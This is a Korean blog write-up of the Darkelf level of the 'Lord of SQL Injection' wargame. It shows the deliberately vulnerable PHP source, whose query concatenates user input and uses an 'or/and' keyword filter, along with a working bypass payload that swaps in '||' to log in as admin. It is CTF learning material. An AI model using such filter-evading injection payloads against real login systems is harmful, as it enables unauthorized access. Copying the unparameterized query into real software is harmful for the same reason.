728x90
Lord of sql injection - Darkelf 풀이 |
los 6번 Darkelf에 대한 풀이 포스팅입니다.
이번 문제에 추가된 필터링은 or과 and입니다.
or과 and를 사용하지않고 admin 레코드를 얻어내면 해결할 수 있는 문제입니다. 우회법이 각각 || 기호와 &&기호를 사용하는 것으로 간단하기때문에 바로 풀이하겠습니다.
풀이
방금 언급했듯이, or과 and에 대한 우회를 찾는 것이 핵심 풀이입니다. || 기호와 &&기호를 통해 해결가능하기때문에
바로 작성하겠습니다.
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?> |
?pw=' or id = 'admin'%23 에서 or을 사용못하기때문에 || 기호를 사용합니다. ?pw='|| id='admin'%23 |
결과
728x90
'개인 공부 > WEB' 카테고리의 다른 글
[웹해킹] LOS 8 - (Troll) (0) | 2021.05.30 |
---|---|
[웹해킹] LOS 7 - (Orge) (0) | 2021.05.30 |
[웹해킹] LOS 4 - (Orc) (0) | 2021.05.30 |
[웹해킹] LOS 3 - (Goblin) (0) | 2021.05.29 |
[웹해킹] LOS 2 - (Cobolt) (0) | 2021.05.29 |
댓글